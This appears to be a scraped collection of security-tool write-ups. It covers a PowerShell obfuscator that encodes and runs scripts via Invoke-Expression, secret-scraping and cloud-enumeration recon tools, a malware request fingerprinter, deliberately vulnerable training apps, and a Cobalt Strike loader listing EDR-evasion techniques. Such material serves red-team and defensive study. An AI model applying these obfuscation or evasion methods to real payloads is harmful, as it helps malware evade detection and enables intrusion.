      Level 1: Basic Obfuscation

      Run the script with level 1 obfuscation.

      ./obfuscator -i script.ps1 -o obfuscated_level1.ps1 -level 1

      This will generate a file named obfuscated_level1.ps1 with the obfuscated content. The result will be a version of your script where each character is separated by commas and combined at runtime.
      Result (level 1)

      $obfuscated = $([char[]]("`W`,`r`,`i`,`t`,`e`,`-`,`H`,`o`,`s`,`t`,` `,`"`,`H`,`e`,`l`,`l`,`o`,`,` `,`W`,`o`,`r`,`l`,`d`,`!`,`"`") -join ''); Invoke-Expression $obfuscated

      Level 2: Base64 Encoding

      Run the script with level 2 obfuscation:

      ./obfuscator -i script.ps1 -o obfuscated_level2.ps1 -level 2

      This will generate a file named obfuscated_level2.ps1 with the content encoded in base64. When executing this script, it will be decoded and run at runtime.
      Result (level 2)

      $obfuscated = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI=')); Invoke-Expression $obfuscated

      Level 3: Alternative Base64 Encoding

      Execute the script with level 3 obfuscation:

      ./obfuscator -i script.ps1 -o obfuscated_level3.ps1 -level 3

      This level uses a slightly different form of base64 encoding and decoding in PowerShell, adding an additional layer of obfuscation.
      Result (level 3)

      $e = [System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='); $obfuscated = [System.Text.Encoding]::UTF8.GetString($e); Invoke-Expression $obfuscated

      Level 4: Compression and Base64 Encoding

      Execute the script with level 4 obfuscation:

      ./obfuscator -i script.ps1 -o obfuscated_level4.ps1 -level 4

      This level compresses the script before encoding it in base64, making analysis more complicated. The result will be decoded and decompressed at runtime.
      Result (level 4)

      $compressed = 'H4sIAAAAAAAAC+NIzcnJVyjPL8pJUQQAlRmFGwwAAAA='; $bytes = [System.Convert]::FromBase64String($compressed); $stream = New-Object IO.MemoryStream(, $bytes); $decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); $reader = New-Object IO.StreamReader($decompressed); $obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated

      Level 5: Script Fragmentation

      Run the script with level 5 obfuscation:

      ./obfuscator -i script.ps1 -o obfuscated_level5.ps1 -level 5

      This level fragments the script into multiple parts and reconstructs it at runtime.
      Result (level 5)

      $fragments = @(
      'Write-',
      'Output "',
      'Hello,',
      ' Wo',
      'rld!',
      '"'
      );
      $script = $fragments -join '';
      Invoke-Expression $script

      This program is provided for educational and research purposes. It should not be used for malicious activities.



      DockerSpy - DockerSpy Searches For Images On Docker Hub And Extracts Sensitive Information Such As Authentication Secrets, Private Keys, And More

      By: Unknown


      DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more.


      What is Docker?

      Docker is an open-source platform that automates the deployment, scaling, and management of applications using containerization technology. Containers allow developers to package an application and its dependencies into a single, portable unit that can run consistently across various computing environments. Docker simplifies the development and deployment process by ensuring that applications run the same way regardless of where they are deployed.

      About Docker Hub

      Docker Hub is a cloud-based repository where developers can store, share, and distribute container images. It serves as the largest library of container images, providing access to both official images created by Docker and community-contributed images. Docker Hub enables developers to easily find, download, and deploy pre-built images, facilitating rapid application development and deployment.

      Why OSINT on Docker Hub?

      Open Source Intelligence (OSINT) on Docker Hub involves using publicly available information to gather insights and data from container images and repositories hosted on Docker Hub. This is particularly important for identifying exposed secrets for several reasons:

      1. Security Audits: By analyzing Docker images, organizations can uncover exposed secrets such as API keys, authentication tokens, and private keys that might have been inadvertently included. This helps in mitigating potential security risks.

      2. Incident Prevention: Proactively searching for exposed secrets in Docker images can prevent security breaches before they happen, protecting sensitive information and maintaining the integrity of applications.

      3. Compliance: Ensuring that container images do not expose secrets is crucial for meeting regulatory and organizational security standards. OSINT helps verify that no sensitive information is unintentionally disclosed.

      4. Vulnerability Assessment: Identifying exposed secrets as part of regular security assessments allows organizations to address these vulnerabilities promptly, reducing the risk of exploitation by malicious actors.

      5. Enhanced Security Posture: Continuously monitoring Docker Hub for exposed secrets strengthens an organization's overall security posture, making it more resilient against potential threats.

      Utilizing OSINT on Docker Hub to find exposed secrets enables organizations to enhance their security measures, prevent data breaches, and ensure the confidentiality of sensitive information within their containerized applications.

      How DockerSpy Works

      DockerSpy obtains information from Docker Hub and uses regular expressions to inspect the content for sensitive information, such as secrets.

      Getting Started

      To use DockerSpy, follow these steps:

      1. Installation: Clone the DockerSpy repository and install the required dependencies.
      git clone https://github.com/UndeadSec/DockerSpy.git && cd DockerSpy && make
      1. Usage: Run DockerSpy from terminal.
      dockerspy

      Custom Configurations

      To customize DockerSpy configurations, edit the following files: - Regular Expressions - Ignored File Extensions

      Disclaimer

      DockerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.

      Contribution

      Contributions to DockerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.

      About the Author

      DockerSpy is developed and maintained by Alisson Moretto (UndeadSec)

      I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.

      Consider following me:

      DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more. (2) DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more. (3) DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more. (4)


      Thanks

      Special thanks to @akaclandestine



      Ashok - A OSINT Recon Tool, A.K.A Swiss Army Knife

      By: Unknown


      Reconnaissance is the first phase of penetration testing which means gathering information before any real attacks are planned So Ashok is an Incredible fast recon tool for penetration tester which is specially designed for Reconnaissance" title="Reconnaissance">Reconnaissance phase. And in Ashok-v1.1 you can find the advanced google dorker and wayback crawling machine.



      Main Features

      - Wayback Crawler Machine
      - Google Dorking without limits
      - Github Information Grabbing
      - Subdomain Identifier
      - Cms/Technology Detector With Custom Headers

      Installation

      ~> git clone https://github.com/ankitdobhal/Ashok
      ~> cd Ashok
      ~> python3.7 -m pip3 install -r requirements.txt

      How to use Ashok?

      A detailed usage guide is available on Usage section of the Wiki.

      But Some index of options is given below:

      Docker

      Ashok can be launched using a lightweight Python3.8-Alpine Docker image.

      $ docker pull powerexploit/ashok-v1.2
      $ docker container run -it powerexploit/ashok-v1.2 --help


        Credits



        CloudBrute - Awesome Cloud Enumerator

        By: Unknown


        A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.

        The complete writeup is available. here


        Motivation

        we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
        Here is the list issues on previous approaches we tried to fix:

        • separated wordlists
        • lack of proper concurrency
        • lack of supporting all major cloud providers
        • require authentication or keys or cloud CLI access
        • outdated endpoints and regions
        • Incorrect file storage detection
        • lack support for proxies (useful for bypassing region restrictions)
        • lack support for user agent randomization (useful for bypassing rare restrictions)
        • hard to use, poorly configured

        Features

        • Cloud detection (IPINFO API and Source Code)
        • Supports all major providers
        • Black-Box (unauthenticated)
        • Fast (concurrent)
        • Modular and easily customizable
        • Cross Platform (windows, linux, mac)
        • User-Agent Randomization
        • Proxy Randomization (HTTP, Socks5)

        Supported Cloud Providers

        Microsoft: - Storage - Apps

        Amazon: - Storage - Apps

        Google: - Storage - Apps

        DigitalOcean: - storage

        Vultr: - Storage

        Linode: - Storage

        Alibaba: - Storage

        Version

        1.0.0

        Usage

        Just download the latest release for your operation system and follow the usage.

        To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.

        It looks like this

        providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
        environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
        proxytype: "http" # socks5 / http
        ipinfo: "" # IPINFO.io API KEY

        For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.

        We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.

        After setting up your API key, you are ready to use CloudBrute.

         β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
        β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•
        β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
        β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•
        β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
        β•šβ•β•β•β•β•β•β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•β•β•β•β•
        V 1.0.7
        usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
        -w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
        <integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
        [-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
        [-m|--mode "<value>"] [-o|--output "<value>"]
        [-C|--configFolder "<value>"]

        Awesome Cloud Enumerator

        Arguments:

        -h --help Print help information
        -d --domain domain
        -k --keyword keyword used to generator urls
        -w --wordlist path to wordlist
        -c --cloud force a search, check config.yaml providers list
        -t --threads number of threads. Default: 80
        -T --timeout timeout per request in seconds. Default: 10
        -p --proxy use proxy list
        -a --randomagent user agent randomization
        -D --debug show debug logs. Default: false
        -q --quite suppress all output. Default: false
        -m --mode storage or app. Default: storage
        -o --output Output file. Default: out.txt
        -C --configFolder Config path. Default: config


        for example

        CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

        please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments

        If a cloud provider not detected or want force searching on a specific provider, you can use -c option.

        CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

        Dev

        • Clone the repo
        • go build -o CloudBrute main.go
        • go test internal

        in action

        How to contribute

        • Add a module or fix something and then pull request.
        • Share it with whomever you believe can use it.
        • Do the extra work and share your findings with community β™₯

        FAQ

        How to make the best out of this tool?

        Read the usage.

        I get errors; what should I do?

        Make sure you read the usage correctly, and if you think you found a bug open an issue.

        When I use proxies, I get too many errors, or it's too slow?

        It's because you use public proxies, use private and higher quality proxies. You can use ProxyFor to verify the good proxies with your chosen provider.

        too fast or too slow ?

        change -T (timeout) option to get best results for your run.

        Credits

        Inspired by every single repo listed here .



        Hfinger - Fingerprinting HTTP Requests

        By: Unknown


        Tool for Fingerprinting HTTP requests of malware. Based on Tshark and written in Python3. Working prototype stage :-)

        Its main objective is to provide unique representations (fingerprints) of malware requests, which help in their identification. Unique means here that each fingerprint should be seen only in one particular malware family, yet one family can have multiple fingerprints. Hfinger represents the request in a shorter form than printing the whole request, but still human interpretable.

        Hfinger can be used in manual malware analysis but also in sandbox systems or SIEMs. The generated fingerprints are useful for grouping requests, pinpointing requests to particular malware families, identifying different operations of one family, or discovering unknown malicious requests omitted by other security systems but which share fingerprint.

        An academic paper accompanies work on this tool, describing, for example, the motivation of design choices, and the evaluation of the tool compared to p0f, FATT, and Mercury.


          The idea

          The basic assumption of this project is that HTTP requests of different malware families are more or less unique, so they can be fingerprinted to provide some sort of identification. Hfinger retains information about the structure and values of some headers to provide means for further analysis. For example, grouping of similar requests - at this moment, it is still a work in progress.

          After analysis of malware's HTTP requests and headers, we have identified some parts of requests as being most distinctive. These include: * Request method * Protocol version * Header order * Popular headers' values * Payload length, entropy, and presence of non-ASCII characters

          Additionally, some standard features of the request URL were also considered. All these parts were translated into a set of features, described in details here.

          The above features are translated into varying length representation, which is the actual fingerprint. Depending on report mode, different features are used to fingerprint requests. More information on these modes is presented below. The feature selection process will be described in the forthcoming academic paper.

          Installation

          Minimum requirements needed before installation: * Python >= 3.3, * Tshark >= 2.2.0.

          Installation available from PyPI:

          pip install hfinger

          Hfinger has been tested on Xubuntu 22.04 LTS with tshark package in version 3.6.2, but should work with older versions like 2.6.10 on Xubuntu 18.04 or 3.2.3 on Xubuntu 20.04.

          Please note that as with any PoC, you should run Hfinger in a separated environment, at least with Python virtual environment. Its setup is not covered here, but you can try this tutorial.

          Usage

          After installation, you can call the tool directly from a command line with hfinger or as a Python module with python -m hfinger.

          For example:

          foo@bar:~$ hfinger -f /tmp/test.pcap
          [{"epoch_time": "1614098832.205385000", "ip_src": "127.0.0.1", "ip_dst": "127.0.0.1", "port_src": "53664", "port_dst": "8080", "fingerprint": "2|3|1|php|0.6|PO|1|us-ag,ac,ac-en,ho,co,co-ty,co-le|us-ag:f452d7a9/ac:as-as/ac-en:id/co:Ke-Al/co-ty:te-pl|A|4|1.4"}]

          Help can be displayed with short -h or long --help switches:

          usage: hfinger [-h] (-f FILE | -d DIR) [-o output_path] [-m {0,1,2,3,4}] [-v]
          [-l LOGFILE]

          Hfinger - fingerprinting malware HTTP requests stored in pcap files

          optional arguments:
          -h, --help show this help message and exit
          -f FILE, --file FILE Read a single pcap file
          -d DIR, --directory DIR
          Read pcap files from the directory DIR
          -o output_path, --output-path output_path
          Path to the output directory
          -m {0,1,2,3,4}, --mode {0,1,2,3,4}
          Fingerprint report mode.
          0 - similar number of collisions and fingerprints as mode 2, but using fewer features,
          1 - representation of all designed features, but a little more collisions than modes 0, 2, and 4,
          2 - optimal (the default mode),
          3 - the lowest number of generated fingerprints, but the highest number of collisions,
          4 - the highest fingerprint entropy, but slightly more fingerprints than modes 0-2
          -v, --verbose Report information about non-standard values in the request
          (e.g., non-ASCII characters, no CRLF tags, values not present in the configuration list).
          Without --logfile (-l) will print to the standard error.
          -l LOGFILE, --logfile LOGFILE
          Output logfile in the verbose mode. Implies -v or --verbose switch.

          You must provide a path to a pcap file (-f), or a directory (-d) with pcap files. The output is in JSON format. It will be printed to standard output or to the provided directory (-o) using the name of the source file. For example, output of the command:

          hfinger -f example.pcap -o /tmp/pcap

          will be saved to:

          /tmp/pcap/example.pcap.json

          Report mode -m/--mode can be used to change the default report mode by providing an integer in the range 0-4. The modes differ on represented request features or rounding modes. The default mode (2) was chosen by us to represent all features that are usually used during requests' analysis, but it also offers low number of collisions and generated fingerprints. With other modes, you can achieve different goals. For example, in mode 3 you get a lower number of generated fingerprints but a higher chance of a collision between malware families. If you are unsure, you don't have to change anything. More information on report modes is here.

          Beginning with version 0.2.1 Hfinger is less verbose. You should use -v/--verbose if you want to receive information about encountered non-standard values of headers, non-ASCII characters in the non-payload part of the request, lack of CRLF tags (\r\n\r\n), and other problems with analyzed requests that are not application errors. When any such issues are encountered in the verbose mode, they will be printed to the standard error output. You can also save the log to a defined location using -l/--log switch (it implies -v/--verbose). The log data will be appended to the log file.

          Using hfinger in a Python application

          Beginning with version 0.2.0, Hfinger supports importing to other Python applications. To use it in your app simply import hfinger_analyze function from hfinger.analysis and call it with a path to the pcap file and reporting mode. The returned result is a list of dicts with fingerprinting results.

          For example:

          from hfinger.analysis import hfinger_analyze

          pcap_path = "SPECIFY_PCAP_PATH_HERE"
          reporting_mode = 4
          print(hfinger_analyze(pcap_path, reporting_mode))

          Beginning with version 0.2.1 Hfinger uses logging module for logging information about encountered non-standard values of headers, non-ASCII characters in the non-payload part of the request, lack of CRLF tags (\r\n\r\n), and other problems with analyzed requests that are not application errors. Hfinger creates its own logger using name hfinger, but without prior configuration log information in practice is discarded. If you want to receive this log information, before calling hfinger_analyze, you should configure hfinger logger, set log level to logging.INFO, configure log handler up to your needs, add it to the logger. More information is available in the hfinger_analyze function docstring.

          Fingerprint creation

          A fingerprint is based on features extracted from a request. Usage of particular features from the full list depends on the chosen report mode from a predefined list (more information on report modes is here). The figure below represents the creation of an exemplary fingerprint in the default report mode.

          Three parts of the request are analyzed to extract information: URI, headers' structure (including method and protocol version), and payload. Particular features of the fingerprint are separated using | (pipe). The final fingerprint generated for the POST request from the example is:

          2|3|1|php|0.6|PO|1|us-ag,ac,ac-en,ho,co,co-ty,co-le|us-ag:f452d7a9/ac:as-as/ac-en:id/co:Ke-Al/co-ty:te-pl|A|4|1.4

          The creation of features is described below in the order of appearance in the fingerprint.

          Firstly, URI features are extracted: * URI length represented as a logarithm base 10 of the length, rounded to an integer, (in the example URI is 43 characters long, so log10(43)β‰ˆ2), * number of directories, (in the example there are 3 directories), * average directory length, represented as a logarithm with base 10 of the actual average length of the directory, rounded to an integer, (in the example there are three directories with total length of 20 characters (6+6+8), so log10(20/3)β‰ˆ1), * extension of the requested file, but only if it is on a list of known extensions in hfinger/configs/extensions.txt, * average value length represented as a logarithm with base 10 of the actual average value length, rounded to one decimal point, (in the example two values have the same length of 4 characters, what is obviously equal to 4 characters, and log10(4)β‰ˆ0.6).

          Secondly, header structure features are analyzed: * request method encoded as first two letters of the method (PO), * protocol version encoded as an integer (1 for version 1.1, 0 for version 1.0, and 9 for version 0.9), * order of the headers, * and popular headers and their values.

          To represent order of the headers in the request, each header's name is encoded according to the schema in hfinger/configs/headerslow.json, for example, User-Agent header is encoded as us-ag. Encoded names are separated by ,. If the header name does not start with an upper case letter (or any of its parts when analyzing compound headers such as Accept-Encoding), then encoded representation is prefixed with !. If the header name is not on the list of the known headers, it is hashed using FNV1a hash, and the hash is used as encoding.

          When analyzing popular headers, the request is checked if they appear in it. These headers are: * Connection * Accept-Encoding * Content-Encoding * Cache-Control * TE * Accept-Charset * Content-Type * Accept * Accept-Language * User-Agent

          When the header is found in the request, its value is checked against a table of typical values to create pairs of header_name_representation:value_representation. The name of the header is encoded according to the schema in hfinger/configs/headerslow.json (as presented before), and the value is encoded according to schema stored in hfinger/configs directory or configs.py file, depending on the header. In the above example Accept is encoded as ac and its value */* as as-as (asterisk-asterisk), giving ac:as-as. The pairs are inserted into fingerprint in order of appearance in the request and are delimited using /. If the header value cannot be found in the encoding table, it is hashed using the FNV1a hash.
          If the header value is composed of multiple values, they are tokenized to provide a list of values delimited with ,, for example, Accept: */*, text/* would give ac:as-as,te-as. However, at this point of development, if the header value contains a "quality value" tag (q=), then the whole value is encoded with its FNV1a hash. Finally, values of User-Agent and Accept-Language headers are directly encoded using their FNV1a hashes.

          Finally, in the payload features: * presence of non-ASCII characters, represented with the letter N, and with A otherwise, * payload's Shannon entropy, rounded to an integer, * and payload length, represented as a logarithm with base 10 of the actual payload length, rounded to one decimal point.

          Report modes

          Hfinger operates in five report modes, which differ in features represented in the fingerprint, thus information extracted from requests. These are (with the number used in the tool configuration): * mode 0 - producing a similar number of collisions and fingerprints as mode 2, but using fewer features, * mode 1 - representing all designed features, but producing a little more collisions than modes 0, 2, and 4, * mode 2 - optimal (the default mode), representing all features which are usually used during requests' analysis, but also offering a low number of collisions and generated fingerprints, * mode 3 - producing the lowest number of generated fingerprints from all modes, but achieving the highest number of collisions, * mode 4 - offering the highest fingerprint entropy, but also generating slightly more fingerprints than modes 0-2.

          The modes were chosen in order to optimize Hfinger's capabilities to uniquely identify malware families versus the number of generated fingerprints. Modes 0, 2, and 4 offer a similar number of collisions between malware families, however, mode 4 generates a little more fingerprints than the other two. Mode 2 represents more request features than mode 0 with a comparable number of generated fingerprints and collisions. Mode 1 is the only one representing all designed features, but it increases the number of collisions by almost two times comparing to modes 0, 1, and 4. Mode 3 produces at least two times fewer fingerprints than other modes, but it introduces about nine times more collisions. Description of all designed features is here.

          The modes consist of features (in the order of appearance in the fingerprint): * mode 0: * number of directories, * average directory length represented as an integer, * extension of the requested file, * average value length represented as a float, * order of headers, * popular headers and their values, * payload length represented as a float. * mode 1: * URI length represented as an integer, * number of directories, * average directory length represented as an integer, * extension of the requested file, * variable length represented as an integer, * number of variables, * average value length represented as an integer, * request method, * version of protocol, * order of headers, * popular headers and their values, * presence of non-ASCII characters, * payload entropy represented as an integer, * payload length represented as an integer. * mode 2: * URI length represented as an integer, * number of directories, * average directory length represented as an integer, * extension of the requested file, * average value length represented as a float, * request method, * version of protocol, * order of headers, * popular headers and their values, * presence of non-ASCII characters, * payload entropy represented as an integer, * payload length represented as a float. * mode 3: * URI length represented as an integer, * average directory length represented as an integer, * extension of the requested file, * average value length represented as an integer, * order of headers. * mode 4: * URI length represented as a float, * number of directories, * average directory length represented as a float, * extension of the requested file, * variable length represented as a float, * average value length represented as a float, * request method, * version of protocol, * order of headers, * popular headers and their values, * presence of non-ASCII characters, * payload entropy represented as a float, * payload length represented as a float.



          VulnNodeApp - A Vulnerable Node.Js Application

          By: Unknown


          A vulnerable application made using node.js, express server and ejs template engine. This application is meant for educational purposes only.


          Setup

          Clone this repository

          git clone https://github.com/4auvar/VulnNodeApp.git

          Application setup:

          • Install the latest node.js version with npm.
          • Open terminal/command prompt and navigate to the location of downloaded/cloned repository.
          • Run command: npm install

          DB setup

          • Install and configure latest mysql version and start the mysql service/deamon
          • Login with root user in mysql and run below sql script:
          CREATE USER 'vulnnodeapp'@'localhost' IDENTIFIED BY 'password';
          create database vuln_node_app_db;
          GRANT ALL PRIVILEGES ON vuln_node_app_db.* TO 'vulnnodeapp'@'localhost';
          USE vuln_node_app_db;
          create table users (id int AUTO_INCREMENT PRIMARY KEY, fullname varchar(255), username varchar(255),password varchar(255), email varchar(255), phone varchar(255), profilepic varchar(255));
          insert into users(fullname,username,password,email,phone) values("test1","test1","test1","test1@test.com","976543210");
          insert into users(fullname,username,password,email,phone) values("test2","test2","test2","test2@test.com","9887987541");
          insert into users(fullname,username,password,email,phone) values("test3","test3","test3","test3@test.com","9876987611");
          insert into users(fullname,username,password,email,phone) values("test4","test4","test4","test4@test.com","9123459876");
          insert into users(fullname,username,password,email,phone) values("test5","test5","test 5","test5@test.com","7893451230");

          Set basic environment variable

          • User needs to set the below environment variable.
            • DATABASE_HOST (E.g: localhost, 127.0.0.1, etc...)
            • DATABASE_NAME (E.g: vuln_node_app_db or DB name you change in above DB script)
            • DATABASE_USER (E.g: vulnnodeapp or user name you change in above DB script)
            • DATABASE_PASS (E.g: password or password you change in above DB script)

          Start the server

          • Open the command prompt/terminal and navigate to the location of your repository
          • Run command: npm start
          • Access the application at http://localhost:3000

          Vulnerability covered

          • SQL Injection
          • Cross Site Scripting (XSS)
          • Insecure Direct Object Reference (IDOR)
          • Command Injection
          • Arbitrary File Retrieval
          • Regular Expression Injection
          • External XML Entity Injection (XXE)
          • Node js Deserialization
          • Security Misconfiguration
          • Insecure Session Management

          TODO

          • Will add new vulnerabilities such as CORS, Template Injection, etc...
          • Improve application documentation

          Issues

          • In case of bugs in the application, feel free to create an issues on github.

          Contribution

          • Feel free to create a pull request for any contribution.

          You can reach me out at @4auvar



          XMGoat - Composed of XM Cyber terraform templates that help you learn about common Azure security issues

          By: Unknown


          XM Goat is composed of XM Cyber terraform templates that help you learn about common Azure security issues. Each template is a vulnerable environment, with some significant misconfigurations. Your job is to attack and compromise the environments.

          Here's what to do for each environment:

          1. Run installation and then get started.

          2. With the initial user and service principal credentials, attack the environment based on the scenario flow (for example, XMGoat/scenarios/scenario_1/scenario1_flow.png).

          3. If you need help with your attack, refer to the solution (for example, XMGoat/scenarios/scenario_1/solution.md).

          4. When you're done learning the attack, clean up.


          Requirements

          • Azure tenant
          • Terafform version 1.0.9 or above
          • Azure CLI
          • Azure User with Owner permissions on Subscription and Global Admin privileges in AAD

          Installation

          Run these commands:

          $ az login
          $ git clone https://github.com/XMCyber/XMGoat.git
          $ cd XMGoat
          $ cd scenarios
          $ cd scenario_<\SCENARIO>

          Where <\SCENARIO> is the scenario number you want to complete

          $ terraform init
          $ terraform plan -out <\FILENAME>
          $ terraform apply <\FILENAME>

          Where <\FILENAME> is the name of the output file

          Get started

          To get the initial user and service principal credentials, run the following query:

          $ terraform output --json

          For Service Principals, use application_id.value and application_secret.value.

          For Users, use username.value and password.value.

          Cleaning up

          After completing the scenario, run the following command in order to clean all the resources created in your tenant

          $ az login
          $ cd XMGoat
          $ cd scenarios
          $ cd scenario_<\SCENARIO>

          Where <\SCENARIO> is the scenario number you want to complete

          $ terraform destroy


          Extrude - Analyse Binaries For Missing Security Features, Information Disclosure And More...

          By: Unknown


          Analyse binaries for missing security features, information disclosure and more.

          Extrude is in the early stages of development, and currently only supports ELF and MachO binaries. PE (Windows) binaries will be supported soon.


          Usage

          Usage:
          extrude [flags] [file]

          Flags:
          -a, --all Show details of all tests, not just those which failed.
          -w, --fail-on-warning Exit with a non-zero status even if only warnings are discovered.
          -h, --help help for extrude

          Docker

          You can optionally run extrude with docker via:

          docker run -v `pwd`:/blah -it ghcr.io/liamg/extrude /blah/targetfile

          Supported Checks

          ELF

          • PIE
          • RELRO
          • BIND NOW
          • Fortified Source
          • Stack Canary
          • NX Stack

          MachO

          • PIE
          • Stack Canary
          • NX Stack
          • NX Heap
          • ARC

          Windows

          Coming soon...

          TODO

          • Add support for PE
          • Add secret scanning
          • Detect packers


          BokuLoader - A Proof-Of-Concept Cobalt Strike Reflective Loader Which Aims To Recreate, Integrate, And Enhance Cobalt Strike's Evasion Features!

          By: Unknown


          A proof-of-concept User-Defined Reflective Loader (UDRL) which aims to recreate, integrate, and enhance Cobalt Strike's evasion features!


          Contributors:

          Contributor Twitter Notable Contributions
          Bobby Cooke @0xBoku Project original author and maintainer
          Santiago Pecin @s4ntiago_p Reflective Loader major enhancements
          Chris Spehn @ConsciousHacker Aggressor scripting
          Joshua Magri @passthehashbrwn IAT hooking
          Dylan Tran @d_tranman Reflective Call Stack Spoofing
          James Yeung @5cript1diot Indirect System Calls

          UDRL Usage Considerations

          The built-in Cobalt Strike reflective loader is robust, handling all Malleable PE evasion features Cobalt Strike has to offer. The major disadvantage to using a custom UDRL is Malleable PE evasion features may or may not be supported out-of-the-box.

          The objective of the public BokuLoader project is to assist red teams in creating their own in-house Cobalt Strike UDRL. The project aims to support all worthwhile CS Malleable PE evasion features. Some evasion features leverage CS integration, others have been recreated completely, and some are unsupported.

          Before using this project, in any form, you should properly test the evasion features are working as intended. Between the C code and the Aggressor script, compilation with different versions of operating systems, compilers, and Java may return different results.

          Evasion Features

          BokuLoader Specific Evasion Features

          • Reflective callstack spoofing via synthetic frames.
          • Custom ASM/C reflective loader code
          • Indirect NT syscalls via HellsGate & HalosGate techniques
          • All memory protection changes for all allocation options are done via indirect syscall to NtProtectVirtualMemory
          • obfuscate "true" with custom UDRL Aggressor script implementation.
          • NOHEADERCOPY
          • Loader will not copy headers raw beacon DLL to virtual beacon DLL. First 0x1000 bytes will be nulls.
          • XGetProcAddress for resolving symbols
          • Does not use Kernel32.GetProcAddress
          • xLoadLibrary for resolving DLL's base address & DLL Loading
          • For loaded DLLs, gets DLL base address from TEB->PEB->PEB_LDR_DATA->InMemoryOrderModuleList
          • Does not use Kernel32.LoadLibraryA
